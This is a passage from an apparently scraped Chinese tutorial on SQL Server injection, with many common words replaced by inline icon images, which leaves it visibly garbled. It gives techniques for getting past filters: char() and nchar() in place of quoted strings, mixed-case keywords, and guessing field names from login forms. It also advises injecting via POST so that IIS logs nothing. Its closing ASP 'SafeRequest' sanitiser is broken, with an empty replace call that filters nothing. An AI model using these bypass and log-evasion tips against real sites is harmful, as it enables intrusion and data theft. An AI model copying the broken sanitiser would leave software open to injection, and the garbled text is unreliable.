以上6点是我研究SQLServer注入半年多以来
![](/icons/81306de.gif)
心血结晶
![](/icons/81306dou.gif)
可以看出
![](/icons/81306dou.gif)
对SQLServer
![](/icons/81306de.gif)
了解程度
![](/icons/81306dou.gif)
直接影响着成功率及猜解速度
![](/icons/81306dou2.gif)
在我研究SQLServer注入的后
![](/icons/81306dou.gif)
我在开发方面
![](/icons/81306de.gif)
水平也得到很大
![](/icons/81306de.gif)
提高
![](/icons/81306dou.gif)
呵呵
![](/icons/81306dou.gif)
也许安全和开发本来就是相辅相成
![](/icons/81306de.gif)
吧
![](/icons/81306dou2.gif)
第 2节、绕过
![](/icons/81306chengxu.gif)
限制继续注入
在入门篇提到
![](/icons/81306dou.gif)
有很多人喜欢用’号测试注入漏洞
![](/icons/81306dou.gif)
所以也有很多人用过滤’号
![](/icons/81306de.gif)
思路方法来“防止”注入漏洞
![](/icons/81306dou.gif)
这也许能挡住
![](/icons/81306yi.gif)
些入门者
![](/icons/81306de.gif)
攻击
![](/icons/81306dou.gif)
但对SQL注入比较熟悉
![](/icons/81306de.gif)
人
![](/icons/81306dou.gif)
还是可以利用相关
![](/icons/81306de.gif)
![](/icons/81306hanshu.gif)
![](/icons/81306dou.gif)
达到绕过
![](/icons/81306chengxu.gif)
限制
![](/icons/81306de.gif)
目
![](/icons/81306de.gif)
![](/icons/81306dou2.gif)
在“SQL注入
![](/icons/81306de.gif)
![](/icons/81306yi.gif)
般步骤”
![](/icons/81306yi.gif)
节中
![](/icons/81306dou.gif)
我所用
![](/icons/81306de.gif)
语句
![](/icons/81306dou.gif)
都是经过我优化
![](/icons/81306dou.gif)
让其不包含有单引号
![](/icons/81306de.gif)
;在“利用系统表注入SQLServer数据库”中
![](/icons/81306dou.gif)
有些语句包含有’号
![](/icons/81306dou.gif)
我们举个例子来看看如何改造这些语句:
简单
![](/icons/81306de.gif)
如wherextype=’U’
![](/icons/81306dou.gif)
![](/icons/81306zifu.gif)
U对应
![](/icons/81306de.gif)
ASCII码是85
![](/icons/81306dou.gif)
所以可以用wherextype=char(85)代替;如果
![](/icons/81306zifu.gif)
是中文
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
比如wherename=’用户’
![](/icons/81306dou.gif)
可以用wherename=nchar(29992)+nchar(25143)代替
![](/icons/81306dou2.gif)
第 3节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字
![](/icons/81306dou.gif)
但偏偏忘记区分大小写
![](/icons/81306dou.gif)
所以大家可以用selecT这样尝试
![](/icons/81306yi.gif)
下
![](/icons/81306dou2.gif)
2.在猜不到字段名时
![](/icons/81306dou.gif)
不妨看看网站WebSite上
![](/icons/81306de.gif)
登录表单
![](/icons/81306dou.gif)
![](/icons/81306yi.gif)
般为了方便起见
![](/icons/81306dou.gif)
字段名都和表单
![](/icons/81306de.gif)
输入框取相同
![](/icons/81306de.gif)
名字
![](/icons/81306dou2.gif)
3.特别注意:地址栏
![](/icons/81306de.gif)
+号传入
![](/icons/81306chengxu.gif)
后解释为空格
![](/icons/81306dou.gif)
%2B解释为+号
![](/icons/81306dou.gif)
%25解释为%号
![](/icons/81306dou.gif)
具体可以参考URLEncode
![](/icons/81306de.gif)
相关介绍
![](/icons/81306dou2.gif)
4.用Get思路方法注入时
![](/icons/81306dou.gif)
IIS会记录你所有
![](/icons/81306de.gif)
提交
![](/icons/81306zifu.gif)
串
![](/icons/81306dou.gif)
对Post思路方法做则不记录
![](/icons/81306dou.gif)
所以能用Post
![](/icons/81306de.gif)
网址尽量不用Get
![](/icons/81306dou2.gif)
5.猜解Access时只能用Ascii逐字解码法
![](/icons/81306dou.gif)
SQLServer也可以用这种思路方法
![](/icons/81306dou.gif)
只需要两者的间
![](/icons/81306de.gif)
区别即可
![](/icons/81306dou.gif)
但是如果能用SQLServer
![](/icons/81306de.gif)
报错信息把值暴露出来
![](/icons/81306dou.gif)
那效率和准确率会有极大
![](/icons/81306de.gif)
提高
![](/icons/81306dou2.gif)
防范思路方法
SQL注入漏洞可谓是“千里的堤
![](/icons/81306dou.gif)
溃于蚁穴”
![](/icons/81306dou.gif)
这种漏洞在网上极为普遍
![](/icons/81306dou.gif)
通常是由于
![](/icons/81306chengxu.gif)
员对注入不了解
![](/icons/81306dou.gif)
或者
![](/icons/81306chengxu.gif)
过滤不严格
![](/icons/81306dou.gif)
或者某个参数忘记检查导致
![](/icons/81306dou2.gif)
在这里
![](/icons/81306dou.gif)
我给大家
![](/icons/81306yi.gif)
个
![](/icons/81306hanshu.gif)
![](/icons/81306dou.gif)
代替ASP中
![](/icons/81306de.gif)
Request
![](/icons/81306hanshu.gif)
![](/icons/81306dou.gif)
可以对
![](/icons/81306yi.gif)
切
![](/icons/81306de.gif)
SQL注入SayNO
![](/icons/81306dou.gif)
![](/icons/81306hanshu.gif)
如下:
FunctionSafeRequest(ParaName,ParaType)
---传入参数---
ParaName:参数名称-
![](/icons/81306zifu.gif)
型
ParaType:参数类型-数字型(1表示以上参数是数字
![](/icons/81306dou.gif)
0表示以上参数为
![](/icons/81306zifu.gif)
)
DimParaValue
ParaValue=Request(ParaName)
IfParaType=1then
IfnotisNumeric(ParaValue)then
Response.write"参数"&ParaName&"必须为数字型!"
Response.end
End
![](/icons/81306if.gif)
Else
ParaValue=replace(ParaValue,"","")
End
![](/icons/81306if.gif)
SafeRequest=ParaValue
Endfunction